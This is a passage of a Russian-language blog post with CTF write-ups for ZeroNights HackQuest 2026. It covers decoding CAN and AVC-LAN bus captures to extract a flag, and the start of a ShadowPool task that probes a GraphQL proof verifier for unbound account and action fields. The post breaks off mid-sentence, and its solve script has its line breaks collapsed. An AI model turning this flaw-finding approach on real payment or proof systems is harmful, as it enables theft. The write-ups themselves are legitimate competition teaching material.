{"id":497624,"date":"2026-10-06T18:29:03","date_gmt":"2026-10-06T15:29:03","guid":{"rendered":"https:\/\/savepearlharbor.com\/?p=497624"},"modified":"2026-10-06T18:29:03","modified_gmt":"2026-10-06T15:29:03","slug":"","status":"publish","type":"post","link":"https:\/\/savepearlharbor.com\/?p=497624","title":{"rendered":"\u0420\u0430\u0437\u0431\u043e\u0440 \u0437\u0430\u0434\u0430\u043d\u0438\u0439 ZeroNights HackQuest 2026"},"content":{"rendered":"<div xmlns=\"http:\/\/www.w3.org\/1999\/xhtml\">\n<figure class=\"\"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/webt\/60\/bf\/1c\/60bf1c04983b43361669aba02ab05221.jpg\" sizes=\"(max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/r\/w780\/webt\/60\/bf\/1c\/60bf1c04983b43361669aba02ab05221.jpg 780w,&#10;       https:\/\/habrastorage.org\/r\/w1560\/webt\/60\/bf\/1c\/60bf1c04983b43361669aba02ab05221.jpg 781w\" loading=\"lazy\" decode=\"async\"\/><\/figure>\n<p> 30 \u0441\u0435\u043d\u0442\u044f\u0431\u0440\u044f \u043c\u044b \u043f\u0440\u043e\u0432\u0435\u043b\u0438 \u043a\u043e\u043d\u0444\u0435\u0440\u0435\u043d\u0446\u0438\u044e \u043f\u043e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 ZeroNights 2026. \u0421\u043f\u0430\u0441\u0438\u0431\u043e \u0432\u0441\u0435\u043c, \u043a\u0442\u043e \u0440\u0435\u0448\u0438\u043b \u043f\u043e\u0443\u0447\u0430\u0441\u0442\u0432\u043e\u0432\u0430\u0442\u044c! \u0411\u0435\u0437 \u0432\u0430\u0441 \u043d\u0435 \u0431\u044b\u043b\u043e \u0431\u044b \u043d\u0438 \u043a\u043b\u0430\u0441\u0441\u043d\u044b\u0445 \u0434\u043e\u043a\u043b\u0430\u0434\u043e\u0432, \u043d\u0438\u00a0\u043c\u0435\u0440\u0447\u0430, \u043d\u0438 \u0432\u0435\u0441\u0435\u043b\u043e\u0439 \u0441\u0443\u0435\u0442\u044b\u00a0\u0432\u043e\u043a\u0440\u0443\u0433 \u0432\u0441\u0435\u0433\u043e \u044d\u0442\u043e\u0433\u043e. \u0421\u043a\u043e\u0440\u043e \u043d\u0430\u0447\u043d\u0451\u043c \u0432\u044b\u043a\u043b\u0430\u0434\u044b\u0432\u0430\u0442\u044c \u043c\u0430\u0442\u0435\u0440\u0438\u0430\u043b\u044b <a href=\"https:\/\/zeronights.ru\/\">\u043d\u0430 \u0441\u0430\u0439\u0442<\/a>, \u0442\u0430\u043c \u0431\u0443\u0434\u0443\u0442 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b \u043f\u0440\u0435\u0437\u0435\u043d\u0442\u0430\u0446\u0438\u0438 \u0438 \u0432\u0438\u0434\u0435\u043e\u0437\u0430\u043f\u0438\u0441\u0438 \u0434\u043e\u043a\u043b\u0430\u0434\u043e\u0432. <\/p>\n<p>\u0410 \u043f\u043e\u043a\u0430 \u0445\u043e\u0442\u0438\u043c \u043f\u043e\u0434\u0435\u043b\u0438\u0442\u044c\u0441\u044f \u0440\u0430\u0439\u0442\u0430\u043f\u0430\u043c\u0438 \u043d\u0430 \u0437\u0430\u0434\u0430\u043d\u0438\u044f HackQuest \u044d\u0442\u043e\u0433\u043e \u0433\u043e\u0434\u0430. \u042d\u0442\u043e \u0442\u0440\u0430\u0434\u0438\u0446\u0438\u043e\u043d\u043d\u043e\u0435 \u0441\u043e\u0440\u0435\u0432\u043d\u043e\u0432\u0430\u043d\u0438\u0435 \u0432 \u0444\u043e\u0440\u043c\u0430\u0442\u0435 CTF, \u043a\u043e\u0442\u043e\u0440\u043e\u0435 \u043c\u044b \u043f\u0440\u043e\u0432\u043e\u0434\u0438\u043c \u0434\u043e \u043d\u0430\u0447\u0430\u043b\u0430 \u043a\u043e\u043d\u0444\u0435\u0440\u0435\u043d\u0446\u0438\u0438. \u0421\u0438\u043b\u044c\u043d\u0435\u0439\u0448\u0438\u0435 \u0443\u0447\u0430\u0441\u0442\u043d\u0438\u043a\u0438 \u043f\u043e\u043b\u0443\u0447\u0430\u044e\u0442 \u0431\u0435\u0441\u043f\u043b\u0430\u0442\u043d\u044b\u0435 \u0431\u0438\u043b\u0435\u0442\u044b \u043d\u0430 ZeroNights. \u041e\u0442\u043b\u0438\u0447\u043d\u044b\u0439 \u0441\u043f\u043e\u0441\u043e\u0431 \u0432\u0441\u0442\u0440\u044f\u0445\u043d\u0443\u0442\u044c\u0441\u044f \u043f\u0435\u0440\u0435\u0434 \u043c\u0435\u0440\u043e\u043f\u0440\u0438\u044f\u0442\u0438\u0435\u043c!<\/p>\n<p><a href=\"https:\/\/hackquest.zeronights.ru\/#winners\">\u0421\u043f\u0438\u0441\u043e\u043a \u043f\u043e\u0431\u0435\u0434\u0438\u0442\u0435\u043b\u0435\u0439 2026<\/a><\/p>\n<h2>Day #1 \/ Car, Car Japan<\/h2>\n<h3>\u041e\u043f\u0438\u0441\u0430\u043d\u0438\u0435<\/h3>\n<p>So, some time ago, one of my friends finally acquired a car &#8212; not a new one, but a reliable, good Japanese car.<\/p>\n<p>In its premium configuration, it was equipped with an artifact of the past &#8212; a whole CD changer! But, unfortunately, it did not work as intended &#8212; the car stereo always gave us a really strange error \ud83d\ude41<\/p>\n<p>Can you look at it and figure out what\u2019s wrong?<\/p>\n<p><a href=\"https:\/\/hackquest.zeronights.ru\/downloads\/zn26-day1-car-japan-MK5V6ByS9Ab5.sr\">capture.sr<\/a><\/p>\n<p>This task was prepared by <a href=\"https:\/\/0x08.in\/\">B4CKSP4CE<\/a><\/p>\n<h3>\u0420\u0430\u0439\u0442\u0430\u043f \u043e\u0442 feadal<\/h3>\n<p>\u0414\u0430\u043c\u043f \u043b\u043e\u0433\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u0430\u043d\u0430\u043b\u0438\u0437\u0430\u0442\u043e\u0440\u0430 (<code>.sr<\/code> \u2014 \u0441\u0435\u0441\u0441\u0438\u044f sigrok) \u0441 \u0448\u0438\u043d\u044b \u044f\u043f\u043e\u043d\u0441\u043a\u043e\u0439 \u043c\u0430\u0433\u043d\u0438\u0442\u043e\u043b\u044b. \u041d\u0430 \u0448\u0435\u0441\u0442\u0438 \u0430\u043d\u0430\u043b\u043e\u0433\u043e\u0432\u044b\u0445 \u043a\u0430\u043d\u0430\u043b\u0430\u0445 \u0437\u0430\u043f\u0438\u0441\u0430\u043d\u044b \u0434\u0432\u0435 \u0434\u0438\u0444\u0444\u0435\u0440\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0435 \u0448\u0438\u043d\u044b: <strong>CAN 62.5 kbps<\/strong> (\u0442\u0430\u043c \u043b\u0435\u0436\u0438\u0442 \u0444\u0435\u0439\u043a\u043e\u0432\u044b\u0439 \u0444\u043b\u0430\u0433-\u043e\u0431\u043c\u0430\u043d\u043a\u0430, \u0442\u0430 \u0441\u0430\u043c\u0430\u044f \u00ab\u0441\u0442\u0440\u0430\u043d\u043d\u0430\u044f \u043e\u0448\u0438\u0431\u043a\u0430\u00bb \u043d\u0430 \u0434\u0438\u0441\u043f\u043b\u0435\u0435) \u0438 <strong>Toyota AVC-LAN<\/strong> \u2014 \u0448\u0438\u043d\u0430 CD-\u0447\u0435\u0439\u043d\u0434\u0436\u0435\u0440\u0430. \u0427\u0435\u0439\u043d\u0434\u0436\u0435\u0440 \u043e\u0442\u0434\u0430\u0451\u0442 \u043f\u043e \u043e\u0434\u043d\u043e\u043c\u0443 \u0431\u0430\u0439\u0442\u0443 \u0444\u043b\u0430\u0433\u0430 \u043d\u0430 \u043a\u0430\u0436\u0434\u0443\u044e \u043f\u0430\u0440\u0443 <em>(\u0434\u0438\u0441\u043a, \u0442\u0440\u0435\u043a)<\/em>; \u043e\u043f\u0440\u0430\u0448\u0438\u0432\u0430\u044e\u0442\u0441\u044f \u043e\u043d\u0438 \u0432\u043f\u0435\u0440\u0435\u043c\u0435\u0448\u043a\u0443, \u043d\u0430\u0434\u043e \u043e\u0442\u0441\u043e\u0440\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c.<\/p>\n<h4>\u0420\u0430\u0437\u0431\u0438\u0440\u0430\u0435\u043c .sr \u0447\u0442\u043e\u0431\u044b \u043f\u043e\u043d\u044f\u0442\u044c, \u0447\u0442\u043e \u043d\u0430 \u043a\u0430\u043d\u0430\u043b\u0430\u0445<\/h4>\n<p><code>.sr<\/code> \u2014 \u044d\u0442\u043e ZIP \u0441 \u0441\u0435\u0441\u0441\u0438\u0435\u0439 sigrok. \u0412 <code>metadata<\/code>: <code>samplerate=500000 Hz<\/code>, 6 \u0430\u043d\u0430\u043b\u043e\u0433\u043e\u0432\u044b\u0445 \u043a\u0430\u043d\u0430\u043b\u043e\u0432, ~2.02 \u0441.<\/p>\n<p>\u0411\u0435\u0433\u043b\u0430\u044f \u0445\u0430\u0440\u0430\u043a\u0442\u0435\u0440\u0438\u0437\u0430\u0446\u0438\u044f \u0443\u0440\u043e\u0432\u043d\u0435\u0439 \u0438 \u0448\u0438\u0440\u0438\u043d \u0438\u043c\u043f\u0443\u043b\u044c\u0441\u043e\u0432 \u0434\u0430\u0451\u0442:<\/p>\n<div>\n<div class=\"table\">\n<table>\n<tbody>\n<tr>\n<th>\n<p align=\"left\">\u041a\u0430\u043d\u0430\u043b\u044b<\/p>\n<\/th>\n<th>\n<p align=\"left\">\u0427\u0442\u043e \u044d\u0442\u043e<\/p>\n<\/th>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">CH2<\/p>\n<\/td>\n<td>\n<p align=\"left\">\u043d\u0430\u043f\u0440\u044f\u0436\u0435\u043d\u0438\u0435 \u0431\u043e\u0440\u0442-\u0441\u0435\u0442\u0438: 12.4 \u0412 \u2192 8.9 \u0412 (\u0441\u0442\u0430\u0440\u0442\u0435\u0440) \u2192 14.2 \u0412 (\u0433\u0435\u043d\u0435\u0440\u0430\u0442\u043e\u0440)<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">CH5<\/p>\n<\/td>\n<td>\n<p align=\"left\">ACC-\u043f\u0438\u0442\u0430\u043d\u0438\u0435, \u0432\u043a\u043b\u044e\u0447\u0430\u0435\u0442\u0441\u044f \u043d\u0430 t\u22480.817 \u0441<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">CH1\/CH4<\/p>\n<\/td>\n<td>\n<p align=\"left\">2.5 \u0412 \u043f\u043e\u043a\u043e\u0439, \u00b11 \u0412 \u0434\u043e\u043c\u0438\u043d\u0430\u043d\u0442, \u043a\u0440\u0430\u0442\u043d\u043e\u0441\u0442\u044c 8 \u0441\u044d\u043c\u043f\u043b\u043e\u0432, \u0441\u0435\u0440\u0438\u0438 \u043e\u0431\u0440\u044b\u0432\u0430\u044e\u0442\u0441\u044f \u043d\u0430 5 \u0431\u0438\u0442\u0430\u0445 \u2192 <strong>CAN, bit-stuffing, 62.5 kbps<\/strong><\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">CH3\/CH6<\/p>\n<\/td>\n<td>\n<p align=\"left\">\u0441\u0442\u0430\u0440\u0442-\u0431\u0438\u0442 168 \u043c\u043a\u0441, \u043f\u0435\u0440\u0438\u043e\u0434 \u0431\u0438\u0442\u0430 39 \u043c\u043a\u0441, high 20\/33 \u043c\u043a\u0441 \u2192 <strong>AVC-LAN<\/strong><\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<\/div>\n<h4>\u0424\u0435\u0439\u043a\u043e\u0432\u044b\u0439 CAN<\/h4>\n<p>CAN \u0434\u0435\u043a\u043e\u0434\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0432 491 \u043a\u0430\u0434\u0440, \u0432\u0441\u0435 CRC-valid, ID <code>0x0C4<\/code>, <code>0x0B4<\/code>, <code>0x3B4<\/code>, <code>0x5D0<\/code>. <code>0x5D0<\/code> \u2014 6 \u0447\u0430\u043d\u043a\u043e\u0432 \u0441 \u0438\u043d\u0434\u0435\u043a\u0441\u043e\u043c \u0432 \u0431\u0430\u0439\u0442\u0435 0, \u043f\u043e\u0432\u0442\u043e\u0440\u044f\u044e\u0442\u0441\u044f \u043a\u0430\u0436\u0434\u044b\u0435 ~320 \u043c\u0441:<\/p>\n<pre><code>00 |notzn{y| 01 |0U7_p71| 02 |NCe5S_1|03 |s_1N_4n| 04 |07He7_C| 05 |4s71E}|<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><span class=\"sc-logo-wrapper\"><\/span><\/a><\/div><\/pre>\n<p>\u0421\u043a\u043b\u0435\u0438\u0432\u0430\u0435\u043c: <code>notzn{y0U7_p71NCe5S_1s_1N_4n07He7_C4s71E}<\/code> \u2014 \u0442\u043e \u0435\u0441\u0442\u044c \u044d\u0442\u043e \u0438 \u0435\u0441\u0442\u044c \u00ab\u0441\u0442\u0440\u0430\u043d\u043d\u0430\u044f \u043e\u0448\u0438\u0431\u043a\u0430\u00bb, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u043c\u0430\u0433\u043d\u0438\u0442\u043e\u043b\u0430, \u0438 \u044f\u0432\u043d\u043e\u0435 \u0443\u043a\u0430\u0437\u0430\u043d\u0438\u0435 \u0438\u0441\u043a\u0430\u0442\u044c \u0432 \u0434\u0440\u0443\u0433\u043e\u043c \u043c\u0435\u0441\u0442\u0435 \u2014 \u043d\u0430 \u0448\u0438\u043d\u0435 \u0447\u0435\u0439\u043d\u0434\u0436\u0435\u0440\u0430.<\/p>\n<h4>AVC-LAN<\/h4>\n<p>\u041a\u0430\u0434\u0440 AVC-LAN: <code>start | brd(1) | master(12)+p | slave(12)+p | ACK | CTL(4)+p | ACK | DL(8)+p | ACK | DL\u00d7[data(8)+p+ACK]<\/code>, \u0442\u043e \u0435\u0441\u0442\u044c \u0440\u043e\u0432\u043d\u043e <code>44 + 10\u00b7DL<\/code> \u0431\u0438\u0442 \u043f\u043e\u0441\u043b\u0435 \u0441\u0442\u0430\u0440\u0442-\u0431\u0438\u0442\u0430.<\/p>\n<p>\u0415\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u0430\u044f \u0437\u0430\u0441\u0430\u0434\u0430 \u2014 <strong>\u043f\u043e\u043b\u044f\u0440\u043d\u043e\u0441\u0442\u044c \u0431\u0438\u0442\u0430 \u0438\u043d\u0432\u0435\u0440\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0430<\/strong> \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0442\u043e\u0433\u043e, \u0447\u0442\u043e \u043e\u0431\u044b\u0447\u043d\u043e \u043f\u0438\u0448\u0443\u0442 \u0432 \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u044f\u0445 AVC-LAN: \u0437\u0434\u0435\u0441\u044c high 33 \u043c\u043a\u0441 = <code>1<\/code>, 20 \u043c\u043a\u0441 = <code>0<\/code>. \u041f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043c\u0433\u043d\u043e\u0432\u0435\u043d\u043d\u043e: \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u0440\u0438 \u0442\u0430\u043a\u043e\u0439 \u043f\u043e\u043b\u044f\u0440\u043d\u043e\u0441\u0442\u0438 <code>CTL<\/code> \u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u0441\u044f <code>0xF<\/code>, \u0430\u0434\u0440\u0435\u0441\u0430 \u2014 <code>0x190<\/code> (\u0433\u043e\u043b\u043e\u0432\u0430) \u0438 <code>0x360<\/code> (\u0447\u0435\u0439\u043d\u0434\u0436\u0435\u0440), \u0430 <code>DL<\/code> \u0441\u0445\u043e\u0434\u0438\u0442\u0441\u044f \u0441 \u0434\u043b\u0438\u043d\u043e\u0439 \u043a\u0430\u0434\u0440\u0430.<\/p>\n<p>\u0413\u043e\u043b\u043e\u0432\u0430 \u043f\u0435\u0440\u0435\u0431\u0438\u0440\u0430\u0435\u0442 \u043c\u0430\u0433\u0430\u0437\u0438\u043d (<code>00 25 63 90 &lt;disc&gt;<\/code> \u2014 \u0432\u044b\u0431\u0440\u0430\u0442\u044c \u0434\u0438\u0441\u043a, <code>00 25 63 94 &lt;track&gt;<\/code> \u2014 \u0442\u0440\u0435\u043a), \u0437\u0430\u043f\u0440\u0430\u0448\u0438\u0432\u0430\u0435\u0442 <code>00 31 63 ED &lt;disc&gt; &lt;track&gt;<\/code>, \u0430 \u0447\u0435\u0439\u043d\u0434\u0436\u0435\u0440 \u043e\u0442\u0432\u0435\u0447\u0430\u0435\u0442 <code>00 63 31 FD &lt;disc&gt; &lt;track&gt; 01 00 &lt;byte&gt;<\/code> \u2014 \u0438 \u0432\u043e\u0442 \u044d\u0442\u043e\u0442 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0439 \u0431\u0430\u0439\u0442 \u0438 \u0435\u0441\u0442\u044c \u0441\u0438\u043c\u0432\u043e\u043b \u0444\u043b\u0430\u0433\u0430. \u0414\u0438\u0441\u043a\u0438 \u043e\u043f\u0440\u0430\u0448\u0438\u0432\u0430\u044e\u0442\u0441\u044f \u0432 \u043f\u0435\u0440\u0435\u043c\u0435\u0448\u0430\u043d\u043d\u043e\u043c \u043f\u043e\u0440\u044f\u0434\u043a\u0435, \u0441\u043e\u0440\u0442\u0438\u0440\u043e\u0432\u043a\u0430 \u043f\u043e <code>(disc, track)<\/code> \u0441\u043e\u0431\u0438\u0440\u0430\u0435\u0442 \u0441\u0442\u0440\u043e\u043a\u0443.<\/p>\n<p>\u0421\u043a\u0440\u0438\u043f\u0442 \u0434\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u0444\u043b\u0430\u0433\u0430:<\/p>\n<pre><code class=\"python\">#!\/usr\/bin\/env python3import sys, zipfileimport numpy as npSR = 500_000.0          # from the sigrok `metadata` fileSR_FILE = sys.argv[1] if len(sys.argv) &gt; 1 else 'zn26-day1-car-japan-MK5V6ByS9Ab5.sr'# --- 1. read the two AVC-LAN channels straight out of the sigrok session ----with zipfile.ZipFile(SR_FILE) as z:    ch3 = np.frombuffer(z.read('analog-1-3-1'), dtype='&lt;f4')   # AVC-LAN bus-    ch6 = np.frombuffer(z.read('analog-1-6-1'), dtype='&lt;f4')   # AVC-LAN bus+bus = (ch6 - ch3) &gt; 0.6                                        # differential -&gt; digital# --- 2. AVC-LAN is pulse-width coded: measure every high pulse ---------------chg = np.flatnonzero(np.diff(bus.astype(np.int8))) + 1edges = np.concatenate(([0], chg, [len(bus)]))runs = [(bool(bus[edges[i]]), int(edges[i]), int(edges[i + 1] - edges[i]))        for i in range(len(edges) - 1)]highs = [(st, ln) for lvl, st, ln in runs if lvl]# bit period 39us: start bit ~168us, logic 1 = 33us high, logic 0 = 20us highframes, cur = [], Nonefor start, width in highs:    us = width \/ SR * 1e6    if us &gt; 100:                       # start bit -&gt; new frame        if cur:            frames.append(cur)        cur = []        continue    if cur is not None:        cur.append(1 if us &gt; 26 else 0)if cur:    frames.append(cur)def num(bits):    v = 0    for b in bits:        v = (v &lt;&lt; 1) | b    return v# --- 3. parse frames: brd(1) M(12)+p S(12)+p ACK CTL(4)+p ACK DL(8)+p ACK ----#        then DL x [ data(8) + parity + ACK ]                = 44 + 10*DL bitschars = {}for s in frames:    if len(s) &lt; 44 or num(s[28:32]) != 0xF:      # CTL is always 0xF        continue    master, slave, dl = num(s[1:13]), num(s[14:26]), num(s[34:42])    data, p = [], 44    for _ in range(dl):        if p + 10 &gt; len(s):            break        assert (bin(num(s[p:p + 8])).count('1') + s[p + 8]) % 2 == 0, 'parity'        data.append(num(s[p:p + 8]))        p += 10    # CD changer (0x360) -&gt; head unit (0x190): \"track info\" reply    #   00 63 31 FD &lt;disc&gt; &lt;track&gt; 01 00 &lt;byte&gt;    if (master, slave) == (0x360, 0x190) and data[:4] == [0x00, 0x63, 0x31, 0xFD]:        chars[(data[4], data[5])] = data[8]# --- 4. the changer stores one flag byte per (disc, track); sort to reassembleflag = ''.join(chr(chars[k]) for k in sorted(chars))print(f'{len(chars)} slots over discs {sorted({d for d, _ in chars})}')print(flag)<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><span class=\"sc-logo-wrapper icon-only\"><\/span><\/a><\/div><\/pre>\n<p>\u0412\u044b\u0432\u043e\u0434:<\/p>\n<pre><code>$ python3 solve.py zn26-day1-car-japan-MK5V6ByS9Ab5.sr28 slots over discs [1, 2, 3, 4, 5, 6]zn{V5t4v1l_D1sK1_v_d15K0v0D}<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><span class=\"sc-logo-wrapper icon-only\"><\/span><\/a><\/div><\/pre>\n<h2>Day #2 \/ ShadowPool<\/h2>\n<h3>\u041e\u043f\u0438\u0441\u0430\u043d\u0438\u0435<\/h3>\n<p>Hi, anon! Looks like there is some free XMR floating around. ShadowPool operators were careful with their money, but not quite careful enough with proofs.<\/p>\n<p>Find what they missed. The XMR is yours.<\/p>\n<p><a href=\"https:\/\/zerochan554vzq2suipchlyjqqm4jrstyyqkwabvr4oypwamtmfvrdqd.onion\/\">zerochan554vzq2suipchlyjqqm4jrstyyqkwabvr4oypwamtmfvrdqd.onion<\/a><\/p>\n<p>This task was prepared by <a href=\"https:\/\/t.me\/crytech7\">@crytech7<\/a><\/p>\n<figure class=\"\"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/webt\/20\/6d\/3c\/206d3c52cc5e8159f39ccf5dbc32bc8d.png\" sizes=\"(max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/r\/w780\/webt\/20\/6d\/3c\/206d3c52cc5e8159f39ccf5dbc32bc8d.png 780w,&#10;       https:\/\/habrastorage.org\/r\/w1560\/webt\/20\/6d\/3c\/206d3c52cc5e8159f39ccf5dbc32bc8d.png 781w\" loading=\"lazy\" decode=\"async\"\/><\/figure>\n<h4>\u041f\u043e\u0434\u0441\u043a\u0430\u0437\u043a\u0438<\/h4>\n<p><strong>23\/08\/2026<\/strong> 15:05 Seems like ShadowPool operators deployed to mainnet at around 13:37.<\/p>\n<p>1.116 XMR still awaits u \ud83d\udc9a<\/p>\n<h3>\u0420\u0430\u0439\u0442\u0430\u043f \u043e\u0442 mkvfaa<\/h3>\n<h4>\u0421\u043c\u043e\u0442\u0440\u0438\u043c \u0433\u0434\u0435 \u043c\u044b<\/h4>\n<p>\u0422.\u043a. \u0442\u0430\u0441\u043a \u0440\u0430\u0437\u0432\u0451\u0440\u043d\u0443\u0442 \u0432 Tor, \u044f \u043f\u043e\u0434\u043d\u044f\u043b \u0441\u0435\u0431\u0435 \u043f\u0440\u043e\u043a\u0441\u0438 \u043d\u0430 <code>127.0.0.1:9051<\/code> \u0438 \u0432\u0441\u0435 \u0437\u0430\u043f\u0440\u043e\u0441\u044b \u0434\u0430\u043b\u044c\u0448\u0435 \u0445\u043e\u0434\u0438\u043b\u0438 \u0447\u0435\u0440\u0435\u0437 \u043d\u0435\u0433\u043e<\/p>\n<p>\u041d\u0430 \u0441\u0430\u0439\u0442\u0435 \u043d\u0430\u0448\u043b\u0438\u0441\u044c \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u044f, REST API \u0438 GraphQL. \u0421\u0430\u043c\u043e\u0439 \u043f\u043e\u043b\u0435\u0437\u043d\u043e\u0439 \u043e\u043a\u0430\u0437\u0430\u043b\u0430\u0441\u044c \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0430 <code>\/docs<\/code>. \u0422\u0430\u043c \u0431\u0435\u0437 \u043e\u0441\u043e\u0431\u044b\u0445 \u0437\u0430\u0433\u0430\u0434\u043e\u043a \u0431\u044b\u043b\u0430 \u0434\u0430\u043d\u0430 \u0441\u0445\u0435\u043c\u0430 proof:<\/p>\n<pre><code class=\"python\">leaf_hash = SHA256(secret || serial)commitment = SHA256(leaf_hash || blind)challenge = SHA256(epoch_root || commitment)response = SHA256(challenge || secret || blind)<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><span class=\"sc-logo-wrapper icon-only\"><\/span><\/a><\/div><\/pre>\n<p>\u0414\u0430\u043b\u044c\u0448\u0435 verifier \u0434\u043e\u043b\u0436\u0435\u043d \u043f\u0440\u043e\u0439\u0442\u0438 \u043f\u043e <code>witness_path<\/code> \u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c <code>epoch_root<\/code>.<\/p>\n<p><code>blind<\/code> \u0437\u0434\u0435\u0441\u044c \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0441\u043b\u0443\u0447\u0430\u0439\u043d\u043e\u0439 \u0441\u043e\u043b\u044c\u044e \u0434\u043b\u044f commitment. \u0415\u0441\u043b\u0438 \u043e\u0434\u0438\u043d \u0438 \u0442\u043e\u0442 \u0436\u0435 \u043b\u0438\u0441\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0440\u0430\u0437 \u0441 \u0440\u0430\u0437\u043d\u044b\u043c\u0438 <code>blind<\/code>, commitment \u0431\u0443\u0434\u0435\u0442 \u0440\u0430\u0437\u043d\u044b\u043c, \u0442\u043e:<\/p>\n<pre><code class=\"python\">SHA256(leaf_hash || blind_1) != SHA256(leaf_hash || blind_2)<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><span class=\"sc-logo-wrapper icon-only\"><\/span><\/a><\/div><\/pre>\n<p>\u041d\u0430 \u0441\u0442\u043e\u0439\u043a\u043e\u0441\u0442\u044c SHA-256 \u0437\u0430\u0434\u0430\u043d\u0438\u0435 \u044f\u0432\u043d\u043e \u043d\u0435 \u043d\u0430\u043c\u0435\u043a\u0430\u043b\u043e. \u0417\u043d\u0430\u0447\u0438\u0442, \u043d\u0430\u0434\u043e \u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c \u043d\u0435 \u043d\u0430 \u0445\u0435\u0448, \u0430 \u043d\u0430 \u0442\u043e, \u043a\u0430\u043a\u0438\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0441\u0435\u0440\u0432\u0435\u0440 \u0441\u0447\u0438\u0442\u0430\u0435\u0442 \u0434\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u043c\u0438.<\/p>\n<p>GraphQL-\u0441\u0445\u0435\u043c\u0430 \u0431\u044b\u043b\u0430 \u043d\u0435\u0431\u043e\u043b\u044c\u0448\u043e\u0439. \u0418\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u044b\u0435 \u043f\u043e\u043b\u044f:<\/p>\n<pre><code class=\"python\">getEpochsgetAccount(id)persistedQueriesverifyBetaReserveProof(input)proofJob(id)proofJobs<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><span class=\"sc-logo-wrapper icon-only\"><\/span><\/a><\/div><\/pre>\n<p>\u0412\u0445\u043e\u0434 \u0434\u043b\u044f <code>verifyBetaReserveProof<\/code>:<\/p>\n<pre><code class=\"python\">ProofInput {    proofJson    accountId    action}<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><span class=\"sc-logo-wrapper icon-only\"><\/span><\/a><\/div><\/pre>\n<p>\u0412\u044b\u0445\u043e\u0434:<\/p>\n<pre><code class=\"python\">ProofResult {validtokenflag}<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><span class=\"sc-logo-wrapper icon-only\"><\/span><\/a><\/div><\/pre>\n<p>\u0417\u0434\u0435\u0441\u044c \u0443\u0436\u0435 \u0431\u044b\u043b\u043e \u043f\u043e\u0434\u043e\u0437\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u043e, \u0447\u0442\u043e <code>accountId<\/code> \u0438 <code>action<\/code> \u043b\u0435\u0436\u0430\u0442 \u0440\u044f\u0434\u043e\u043c \u0441 proof, \u043d\u043e \u043d\u0435 \u0432\u043d\u0443\u0442\u0440\u0438 \u043d\u0435\u0433\u043e. \u0412 \u0444\u043e\u0440\u043c\u0443\u043b\u0435 challenge \u0438\u0445 \u0442\u043e\u0436\u0435 \u043d\u0435\u0442. \u042d\u0442\u043e \u043e\u0437\u043d\u0430\u0447\u0430\u0435\u0442, \u0447\u0442\u043e proof \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u0433\u043e\u0432\u043e\u0440\u0438\u0442 \u043e \u0442\u043e\u043c, \u0434\u043b\u044f \u043a\u0430\u043a\u043e\u0433\u043e \u0430\u043a\u043a\u0430\u0443\u043d\u0442\u0430 \u0438 \u043a\u0430\u043a\u043e\u0439 